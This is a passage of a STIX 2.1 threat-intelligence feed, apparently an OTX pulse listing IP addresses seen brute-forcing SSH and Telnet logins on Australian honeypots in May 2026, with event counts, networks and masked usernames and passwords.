      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28343. Organisation(s): UNIFIQUE TELECOMUNICACOES SA.",
      "id": "indicator--d8052ba1-dcf1-4688-9c1d-a0616478730f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.97.136.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T00:15:05.000Z",
      "valid_until": "2026-06-10T00:15:03.000Z"
    },
    {
      "created": "2026-05-09T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--59e2ef64-3531-4fa5-949b-8566a9cfd551",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '143.198.153.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T00:15:05.000Z",
      "valid_until": "2026-06-10T00:15:03.000Z"
    },
    {
      "created": "2026-05-09T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--d0db22d7-c2bd-4d0c-9353-5fd5d97bcd10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.182.197.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T00:15:05.000Z",
      "valid_until": "2026-06-10T00:15:03.000Z"
    },
    {
      "created": "2026-05-09T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--01ec0b55-0659-4bae-a0eb-1949a0fbad8c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.245.225.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T00:15:05.000Z",
      "valid_until": "2026-06-10T00:15:03.000Z"
    },
    {
      "created": "2026-05-09T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22. Source country: FI. ASN(s): 51765. Organisation(s): Oy Crea Nova Hosting Solution Ltd.",
      "id": "indicator--71c1adb5-ee69-4811-a0d4-37ab98407f7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.117.118.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T00:15:05.000Z",
      "valid_until": "2026-06-10T00:15:03.000Z"
    },
    {
      "created": "2026-05-09T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 7738. Organisation(s): V tal.",
      "id": "indicator--672bce01-efdf-4281-9967-db292fff4c52",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.12.70.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T00:15:05.000Z",
      "valid_until": "2026-06-10T00:15:03.000Z"
    },
    {
      "created": "2026-05-09T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 115. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud. Usernames observed (masked): , \u0000********************************************************\r, \u0000**************************************************************************************************************\r, \u0000**********************************************************************\r, \u0000**********************************************************************\r. Passwords observed (masked): , -***************************7, **, \u0000**********************************************************************************\r, \u0000**********************************************************************************************************************\r.",
      "id": "indicator--cc0caa24-b34f-4de8-84e2-8b8a5b169f22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.81.131.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T00:15:05.000Z",
      "valid_until": "2026-06-10T00:15:03.000Z"
    },
    {
      "created": "2026-05-09T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 215623. Organisation(s): Ooo lugalink.",
      "id": "indicator--0c790849-809d-4728-a68f-67a6cba0d7b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.15.22.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T00:15:05.000Z",
      "valid_until": "2026-06-10T00:15:03.000Z"
    },
    {
      "created": "2026-05-09T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): a***n, t******r, o****e, r**t, t**t. Passwords observed (masked): a***n, !*******, *, 1****6, 1***3.",
      "id": "indicator--158679e5-5b15-4eae-b019-177f3b3d1b5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.155.21.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T00:15:05.000Z",
      "valid_until": "2026-06-10T00:15:03.000Z"
    },
    {
      "created": "2026-05-09T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268245. Organisation(s): AMIGALINK COMUNICACOES LTDA - ME.",
      "id": "indicator--bf6c081f-87f8-4cfd-b603-9ce536e507d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.236.207.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T00:15:05.000Z",
      "valid_until": "2026-06-10T00:15:03.000Z"
    },
    {
      "created": "2026-05-09T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--f54fa3c9-ad34-4f03-b309-922d97f2ed69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.101.138.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T00:15:05.000Z",
      "valid_until": "2026-06-10T00:15:03.000Z"
    },
    {
      "created": "2026-05-09T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--7e3fa205-1035-4692-a98c-f0f58a261023",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T00:15:05.000Z",
      "valid_until": "2026-06-10T00:15:03.000Z"
    },
    {
      "created": "2026-05-09T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--b03277f3-3dae-47bc-ac6d-318c113bc99c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T00:15:05.000Z",
      "valid_until": "2026-06-10T00:15:03.000Z"
    },
    {
      "created": "2026-05-09T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--6c29fd1d-7bf6-48bf-84b6-6bec9a23f31e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T00:15:05.000Z",
      "valid_until": "2026-06-10T00:15:03.000Z"
    },
    {
      "created": "2026-05-09T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--a76d7bd8-7163-4266-ba23-0cd45d086f7a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T00:15:05.000Z",
      "valid_until": "2026-06-10T00:15:03.000Z"
    },
    {
      "created": "2026-05-09T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--47950095-a5a3-46cd-990a-c2798194f0d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T00:15:05.000Z",
      "valid_until": "2026-06-10T00:15:03.000Z"
    },
    {
      "created": "2026-05-09T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--dec2afad-9505-4289-9846-4a631795ca38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T00:15:05.000Z",
      "valid_until": "2026-06-10T00:15:03.000Z"
    },
    {
      "created": "2026-05-09T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 19318. Organisation(s): Interserver, Inc. Usernames observed (masked): r**t. Passwords observed (masked): a***n.",
      "id": "indicator--f7855082-c626-40d5-b159-14afb60163b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.215.32.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T00:15:05.000Z",
      "valid_until": "2026-06-10T00:15:03.000Z"
    },
    {
      "created": "2026-05-09T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 261. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 142595. Organisation(s): AG Communication. Usernames observed (masked): u****u, r**t, 3**********4, p******s, t**t. Passwords observed (masked): 3***********4, 3**********4, 1***5, 1****6, 1****d.",
      "id": "indicator--a316d8bc-9dd3-4693-9851-f8bfb675ce6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.170.173.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T01:15:05.000Z",
      "valid_until": "2026-06-10T01:15:03.000Z"
    },
    {
      "created": "2026-05-09T01:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 38835. Organisation(s): Buroserv Australia Pty Ltd.",
      "id": "indicator--b8b55970-d29b-416a-8487-c6477c2e78ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.21.38.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T01:15:05.000Z",
      "valid_until": "2026-06-10T01:15:03.000Z"
    },
    {
      "created": "2026-05-09T01:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--8623ead4-3e10-419a-bf67-e10f6939f81e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '129.153.194.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T01:15:05.000Z",
      "valid_until": "2026-06-10T01:15:03.000Z"
    },
    {
      "created": "2026-05-09T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--e2eae64f-c348-45d1-bb67-caac395716aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '135.125.236.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T01:15:05.000Z",
      "valid_until": "2026-06-10T01:15:03.000Z"
    },
    {
      "created": "2026-05-09T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 357. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 197540. Organisation(s): netcup GmbH. Usernames observed (masked): 3**********4, a***n, r**t, t***3, u**r. Passwords observed (masked): 3***********4, 3**********4, q****y, 1****3, 1**4.",
      "id": "indicator--dcb3ae66-6767-42de-8328-2da279118f82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.53.22.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T01:15:05.000Z",
      "valid_until": "2026-06-10T01:15:03.000Z"
    },
    {
      "created": "2026-05-09T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 393. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): a***n, 3**********4, r**t, g***t, p******s. Passwords observed (masked): 3***********4, 3**********4, 1*******9, q****y, 1****3.",
      "id": "indicator--99c8c2db-1802-414a-8c7e-2c3c9e555381",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T01:15:05.000Z",
      "valid_until": "2026-06-10T01:15:03.000Z"
    },
    {
      "created": "2026-05-09T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--4108158e-9447-4204-82de-6d01a925d97f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '18.205.239.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T01:15:05.000Z",
      "valid_until": "2026-06-10T01:15:03.000Z"
    },
    {
      "created": "2026-05-09T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 438. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 269715. Organisation(s): INFINITYGO TELECOM LTDA. Usernames observed (masked): 3**********4, a***n, t***3, u**r, g***t. Passwords observed (masked): 3***********4, 3**********4, 1*******9, q****y, 1****3.",
      "id": "indicator--b2414573-ccbf-4ac9-9fd5-168ec5bf9c00",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.62.87.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T01:15:05.000Z",
      "valid_until": "2026-06-10T01:15:03.000Z"
    },
    {
      "created": "2026-05-09T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--a79afa70-9c89-45bc-8dba-6d6aeb9abca5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.20.127.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T01:15:05.000Z",
      "valid_until": "2026-06-10T01:15:03.000Z"
    },
    {
      "created": "2026-05-09T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--f2bd5b5e-de1b-4b5c-8e50-4dea254361f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '208.87.242.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T01:15:05.000Z",
      "valid_until": "2026-06-10T01:15:03.000Z"
    },
    {
      "created": "2026-05-09T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 256. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): a***n, 3**********4, s********r, t**t, t***3. Passwords observed (masked): 1*******9, 3***********4, 3**********4, 1****3, 1**4.",
      "id": "indicator--e597692c-48e7-4c65-9de6-7c7009d1c756",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.230.2.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T01:15:05.000Z",
      "valid_until": "2026-06-10T01:15:03.000Z"
    },
    {
      "created": "2026-05-09T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 214. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): u****u, r**t, p******s, 3**********4, U****u. Passwords observed (masked): ***, 1**4, 1******8, 1******r, 1******t.",
      "id": "indicator--56f35d01-177c-4203-9fce-c26a12bffe32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '4.211.84.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T01:15:05.000Z",
      "valid_until": "2026-06-10T01:15:03.000Z"
    },
    {
      "created": "2026-05-09T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 20473. Organisation(s): The Constant Company, LLC.",
      "id": "indicator--35dd794f-fcf4-46d4-95fd-03c4b9f8b2e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.77.237.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T01:15:05.000Z",
      "valid_until": "2026-06-10T01:15:03.000Z"
    },
    {
      "created": "2026-05-09T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12876. Organisation(s): Scaleway SAS. Usernames observed (masked): r**t, t**t, a***n, a*****e, ***. Passwords observed (masked): t******2, 1****e, 1***********6, A*******!, O****e.",
      "id": "indicator--a879945c-cf8a-4b97-b8fd-942b75ace6ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.15.145.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T01:15:05.000Z",
      "valid_until": "2026-06-10T01:15:03.000Z"
    },
    {
      "created": "2026-05-09T01:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20115. Organisation(s): Charter Communications LLC.",
      "id": "indicator--8a3dc798-33c4-4168-844f-d2a1425cfb1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '71.86.130.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T01:15:05.000Z",
      "valid_until": "2026-06-10T01:15:03.000Z"
    },
    {
      "created": "2026-05-09T01:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--90a68f4e-b438-4a86-9ab6-a4db902899e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.255.26.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T01:15:05.000Z",
      "valid_until": "2026-06-10T01:15:03.000Z"
    },
    {
      "created": "2026-05-09T01:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 5089. Organisation(s): Virgin Media.",
      "id": "indicator--a52f6228-f303-4d03-82e6-9a40b07bc809",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.6.222.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T01:15:05.000Z",
      "valid_until": "2026-06-10T01:15:03.000Z"
    },
    {
      "created": "2026-05-09T02:15:10.000Z",
